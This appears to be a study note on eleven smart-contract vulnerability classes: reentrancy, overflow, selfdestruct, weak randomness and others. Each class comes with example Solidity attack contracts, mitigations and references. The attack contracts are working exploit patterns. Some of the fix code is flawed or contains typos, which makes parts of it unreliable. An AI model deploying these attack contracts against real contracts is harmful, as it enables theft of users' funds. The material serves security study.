---
###### tags: `escort`
---
[TOC]
# 11 vulnerability types in smart contract
## Callstack Depth [cl. 1] (Oyente):
This vulnerability class belongs to the Programming Error category (Section II-A) and exploits the stack size limit issues of the EVM.
```solidity=
function CallstackExploit (int counter) {
if (counter < 1023) {
if (counter > 0) {
self.CallstackExploit.gas(msg.gas-2000)(counter+1);
} else {
self.CallstackExploit(counter+1);
}
} else {
// finally call a function in another contract after calling
// self.CallstackExploit 1023 times
}
}
```
* Solution:
This attack was eliminated for all practical purposes by EIP 150, which was implemented in October, 2016.
The fork changed the cost of several EVM instructions, and redefined the way to compute the gas consumption of call and delegatecall.
After the fork, a caller can allocate at most 63/64 of its gas: since, currently,the gas limit per block is ∼4,7M units, this implies let the maximum reachabledepth of the call stack is always less than 1024
Reference:
1. https://github.com/ethereum/EIPs/blob/master/EIPS/eip-150.md
2. https://eprint.iacr.org/2016/1007.pdf
## Money Concurrency [cl. 2] (Oyente):
This vulnerability is also known as Transaction Ordering Dependence (TOD) and belongs to Influence by Miners.
Transactions on Ethereum are grouped together in blocks which are processed on a semi-regular interval, ~15 seconds. Before transactions are placed in blocks, they are broadcasted to the mempool where block builders can then proceed to place them as is economically optimal. What's important to understand here is that the mempool is public and thus anyone can see transactions before they're executed, giving them the power to front-run by placing their own transaction executing the same, or a similar, action with a higher gas price. Frontrunning has become so prevalent as a result of generalized frontrunning bots becoming more and more common, which work by observing the mempool for profitable, replicable transactions which they can replace for their own benefit.
* Solution:
1. Use a commit-reveal scheme in the case of information being submitted on-chain. This works by having the submittor send in a hash of the information, storing that on-chain along with the user address so that they may later reveal the answer along with the salt to prove that they were indeed correct.
2. Use a private mempool such as Flashbots.
Reference:
1. https://github.com/kadenzipfel/smart-contract-vulnerabilities/blob/master/vulnerabilities/transaction-ordering-dependence.md
## Assert Violation [cl. 3] (Mythril):
This Programming Error leads to a constant error state of the smart contract, which can be exploited by an attacker.
```solidity=
function assertViolation() public pure returns (string memory) {
uint num = 0;
assert(num != 1);
return "Good!";
}
```
* Solution:
The assert() funtion is meant to assert invariants; informally said, assert() is an overly assertive bodyguard that protects your contract, but steals your gas in the process. Properly functioning contracts should never reach a failing assert statement. If you've reached a failing assert statement, you've either improperly used assert(), or there is a bug in your contract that puts it in an invalid state.
If the condition checked in the assert() is not actually an invariant, it's suggested that you replace it with a require() statement.
```solidity=
function assertViolation() public pure returns (string memory) {
uint num = 0;
require(num != 1);
return "Good!";
}
```
Reference:
1. https://github.com/kadenzipfel/smart-contract-vulnerabilities/blob/master/vulnerabilities/assert-violation.md
## Reentrancy [cl. 4] (Vandal):
Reentrancy bugs are caused by External Calls and allow an attacker to drain funds.
```solidity=
contract Bank {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal>0);
(bool sent, )= msg.sender.call{value: bal}; // call Attack.fallback
require(sent, "Fail to send ETH");
balances[msg.sender] = 0;
}
}
contract Attack {
Bank public bank;
constuctor(address _bankAddress) {
bank = Bank(_bankAddress)
}
fallback() external payable { // if the bank balance>=1 then recall withdraw() makes recursive !!
if (address(bank).balance >= 1 ether) {
bank.withdraw()
}
}
function attack() external payable {
require(msg.value >= 1 ether);
bank.deposit{value: 1 ether}();
bank.withdraw();
}
}
```
* Solution:
```solidity=
// 1. Change the balance first and then send the money.
function withdraw() public {
uint bal = balances[msg.sender];
require(bal>0);
balances[msg.sender] = 0; // change balance first
(bool sent, )= msg.sender.call{value: bal}; // call Attack.fallback
require(sent, "Fail to send ETH");
}
// 2. Use modifier to make sure the withdraw function can only call once.
modifier noReetrancy {
require(!locked, "You may cause retrancy");
locked=true;
_;
locked=false;
}
function withdraw() public noReetrancy{
uint bal = balances[msg.sender];
require(bal>0);
(bool sent, )= msg.sender.call{value: bal}; // call Attack.fallback
require(sent, "Fail to send ETH");
balances[msg.sender] = 0;
}
```
Reference:
1. https://medium.com/valixconsulting/solidity-smart-contract-security-by-example-02-reentrancy-b0c08cfcd555
2. https://www.youtube.com/watch?v=76So4jCysAQ
## Unchecked Calls [cl. 5] (Vandal):
With this Pro- gramming Error, function calls are not checked. In the worst case, the contract execution will continue despite a possible exception of the call.
```solidity=
contract ReturnValue {
function callnotchecked(address callee) public {
callee.call(); // didin't check if the callee.call function failure or not
}
}
```
Solution:
Use require to check.
```solidity=
contract ReturnValue {
function callchecked(address callee) public {
require(callee.call());
}
}
```
Reference:
1. https://swcregistry.io/docs/SWC-104
## Time Dependency [cl. 6] (Mythril):
The contract uses block values as a proxy for time (Programming Error). However, block values are not exact and can lead to an unpredictable state.
```solidity=
contract timeDependency {
uint private lastPayOut = 0;
uint time = block.timestamp;
function random returns (uint256 result){
uint256 y = time*block.number/(time%5);
uint256 seed = block.number/3+(time%5)+lastPayOut+y;
uint h = uint256(block.blockhash(seed));
return uint(h%100)+1;
}
}
```
* Solution:
Lines for through six depend on the timestamp of the current block. Therefore, miners can calculate the time stamp that is favorable to them in advance, and set the time to a time that is favorable to them when mining.
-> Use **Oyente** Obtain the execution path and detect whether the path depends on the timestamp.
-> Use **ContractFuzzer** to check whether two conditions are met at the same time: Depends on the timestamp, There is a transfer.
Reference:
1. https://www.cnblogs.com/XBWer/p/9697361.html
## DoS with Failed Call [cl. 7] (Mythril):
This is similar to the Unchecked Calls class 5. Here, the error will induce a DoS if the calls are in a loop.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
The goal of KingOfEther is to become the king by sending more Ether than
the previous king. Previous king will be refunded with the amount of Ether
he sent.
*/
/*
1. Deploy KingOfEther
2. Alice becomes the king by sending 1 Ether to claimThrone().
2. Bob becomes the king by sending 2 Ether to claimThrone().
Alice receives a refund of 1 Ether.
3. Deploy Attack with address of KingOfEther.
4. Call attack with 3 Ether.
5. Current king is the Attack contract and no one can become the new king.
What happened?
Attack became the king. All new challenge to claim the throne will be rejected
since Attack contract does not have a fallback function, denying to accept the
Ether sent from KingOfEther before the new king is set.
*/
contract KingOfEther {
address public king;
uint public balance;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
(bool sent, ) = king.call{value: balance}("");
require(sent, "Failed to send Ether");
balance = msg.value;
king = msg.sender;
}
}
contract Attack {
KingOfEther kingOfEther;
constructor(KingOfEther _kingOfEther) {
kingOfEther = KingOfEther(_kingOfEther);
}
function attack() public payable {
kingOfEther.claimThrone{value: msg.value}();
}
}
}
```
* Solution:
To prevent this is to allow the users to withdraw their Ether instead of sending it.
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract KingOfEther {
address public king;
uint public balance;
mapping(address => uint) public balances;
function claimThrone() external payable {
require(msg.value > balance, "Need to pay more to become the king");
balances[king] += balance;
balance = msg.value;
king = msg.sender;
}
function withdraw() public {
require(msg.sender != king, "Current king cannot withdraw");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
```
Reference:
1. https://solidity-by-example.org/hacks/denial-of-service/
2. https://www.youtube.com/watch?v=qtLI7K1L1bg&list=PLO5VPQH6OWdWsCgXJT9UuzgbC8SPvTRi5&index=8
## Integer Under/Overflow [cl. 8] (Mythril):
This Pro- gramming Error is identical to the one in conventional programming languages. Integers may flip to zero/in- finity when incremented over the feasible range.
```=solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.
/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
withdraw your ether.
What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] += _secondsToIncrease;
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
```
* Solution
1. Use SafeMath to will prevent arithmetic overflow and underflow
2. Solidity 0.8 defaults to throwing an error for overflow / underflow
```=solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
// This contract is designed to act as a time vault.
// User can deposit into this contract but cannot withdraw for atleast a week.
// User can also extend the wait time beyond the 1 week waiting period.
/*
1. Deploy TimeLock
2. Deploy Attack with address of TimeLock
3. Call Attack.attack sending 1 ether. You will immediately be able to
withdraw your ether.
What happened?
Attack caused the TimeLock.lockTime to overflow and was able to withdraw
before the 1 week waiting period.
*/
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v2.5.0/contracts/math/SafeMath.sol";
contract TimeLock {
mapping(address => uint) public balances;
mapping(address => uint) public lockTime;
function deposit() external payable {
balances[msg.sender] += msg.value;
lockTime[msg.sender] = block.timestamp + 1 weeks;
}
function increaseLockTime(uint _secondsToIncrease) public {
lockTime[msg.sender] = lockTime[msg.sender].add(_secondsToIncrease);
}
function withdraw() public {
require(balances[msg.sender] > 0, "Insufficient funds");
require(block.timestamp > lockTime[msg.sender], "Lock time not expired");
uint amount = balances[msg.sender];
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: amount}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
TimeLock timeLock;
constructor(TimeLock _timeLock) {
timeLock = TimeLock(_timeLock);
}
fallback() external payable {}
function attack() public payable {
timeLock.deposit{value: msg.value}();
/*
if t = current lock time then we need to find x such that
x + t = 2**256 = 0
so x = -t
2**256 = type(uint).max + 1
so x = type(uint).max + 1 - t
*/
timeLock.increaseLockTime(
type(uint).max + 1 - timeLock.lockTime(address(this))
);
timeLock.withdraw();
}
}
```
Reference:
1. https://www.youtube.com/watch?v=zqHb-ipbmIo&list=PLO5VPQH6OWdWsCgXJT9UuzgbC8SPvTRi5&index=2
2. https://solidity-by-example.org/hacks/overflow/
## Accessible Selfdestruct [cl. 9] (Mythril):
This Pro- gramming Error can be exploited to terminate a contract such that the remaining funds are sent to a predefined address.
```=solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
// The goal of this game is to be the 7th player to deposit 1 Ether.
// Players can deposit only 1 Ether at a time.
// Winner will be able to withdraw all Ether.
/*
1. Deploy EtherGame
2. Players (say Alice and Bob) decides to play, deposits 1 Ether each.
2. Deploy Attack with address of EtherGame
3. Call Attack.attack sending 5 ether. This will break the game
No one can become the winner.
What happened?
Attack forced the balance of EtherGame to equal 7 ether.
Now no one can deposit and the winner cannot be set.
*/
contract EtherGame {
uint public targetAmount = 7 ether;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
uint balance = address(this).balance;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: address(this).balance}("");
require(sent, "Failed to send Ether");
}
}
contract Attack {
EtherGame etherGame;
constructor(EtherGame _etherGame) {
etherGame = EtherGame(_etherGame);
}
function attack() public payable {
// You can simply break the game by sending ether so that
// the game balance >= 7 ether
// cast address to payable
address payable addr = payable(address(etherGame));
selfdestruct(addr);
}
}
```
* Solution :
1. Don't rely on address(this).balance
```=solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
contract EtherGame {
uint public targetAmount = 3 ether;
uint public balance;
address public winner;
function deposit() public payable {
require(msg.value == 1 ether, "You can only send 1 Ether");
balance += msg.value;
require(balance <= targetAmount, "Game is over");
if (balance == targetAmount) {
winner = msg.sender;
}
}
function claimReward() public {
require(msg.sender == winner, "Not winner");
(bool sent, ) = msg.sender.call{value: balance}("");
require(sent, "Failed to send Ether");
}
}
```
Reference
1. https://solidity-by-example.org/hacks/self-destruct/
2. https://www.youtube.com/watch?v=cODYglsn3bs&list=PLO5VPQH6OWdWsCgXJT9UuzgbC8SPvTRi5&index=3&t=6s
## Arbitrary Jump with Function Type Variable [cl. 10] (Mythril):
If a user alters a function type variable (i.e., pointer to a function), an attacker may abuse this Programming Error to jump to an arbitrary function.
```=solidiy
/*
In the worst case scenario an attacker is able to point a function type variable to any code instruction, violating required validations and required state changes.
*/
pragma solidity ^0.4.23;
contract FunctionTypes {
constructor() public payable { require(msg.value != 0); }
function withdraw() private {
require(msg.value == 0, 'dont send funds!');
address(msg.sender).transfer(address(this).balance);
}
function frwd() internal
{ withdraw(); }
struct Func { function () internal f; }
function breakIt() public payable {
require(msg.value != 0, 'send funds!');
Func memory func;
func.f = frwd;
assembly { mstore(func, add(mload(func), callvalue)) }
func.f();
}
}
```
* Solution
1. The use of assembly should be minimal. A developer should not allow a user to assign arbitrary values to function type variables.
Reference
1. https://swcregistry.io/docs/SWC-127#functiontypessol
## Weak Sources of Randomness [cl. 11] (Mythril):
Randomness is difficult to obtain in standard computer programs and this task is more challenging on the blockchain since the consensus protocol is based on determinism. Using blockchain attributes to generate randomness makes the contract vulnerable to an Influ- ence by Miners.
```=solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
NOTE: cannot use blockhash in Remix so use ganache-cli
npm i -g ganache-cli
ganache-cli
In remix switch environment to Web3 provider
*/
/*
GuessTheRandomNumber is a game where you win 1 Ether if you can guess the
pseudo random number generated from block hash and timestamp.
At first glance, it seems impossible to guess the correct number.
But let's see how easy it is win.
1. Alice deploys GuessTheRandomNumber with 1 Ether
2. Eve deploys Attack
3. Eve calls Attack.attack() and wins 1 Ether
What happened?
Attack computed the correct answer by simply copying the code that computes the random number.
*/
contract GuessTheRandomNumber {
constructor() payable {}
function guess(uint _guess) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
if (_guess == answer) {
(bool sent, ) = msg.sender.call{value: 1 ether}("");
require(sent, "Failed to send Ether");
}
}
}
contract Attack {
receive() external payable {}
function attack(GuessTheRandomNumber guessTheRandomNumber) public {
uint answer = uint(
keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
);
guessTheRandomNumber.guess(answer);
}
// Helper function to check balance
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
```
* Solution:
1. Don't use blockhash and block.timestamp as source of randomness. Instead,use chainlink VRF
Reference
1. https://www.youtube.com/watch?v=8FF3IBTMeK0
{"metaMigratedAt":"2023-06-17T22:22:05.675Z","metaMigratedFrom":"Content","title":"11 vulnerability types in smart contract","breaks":true,"contributors":"[{\"id\":\"ebc35a4a-9216-4abf-b389-865f93a1a730\",\"add\":11121,\"del\":2567},{\"id\":\"0c8bf493-29d9-47f5-b124-e9f798c41a43\",\"add\":11955,\"del\":0}]"}